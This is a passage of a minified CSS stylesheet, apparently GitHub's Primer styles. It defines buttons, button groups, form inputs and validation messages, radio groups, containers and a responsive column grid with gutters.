.octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% 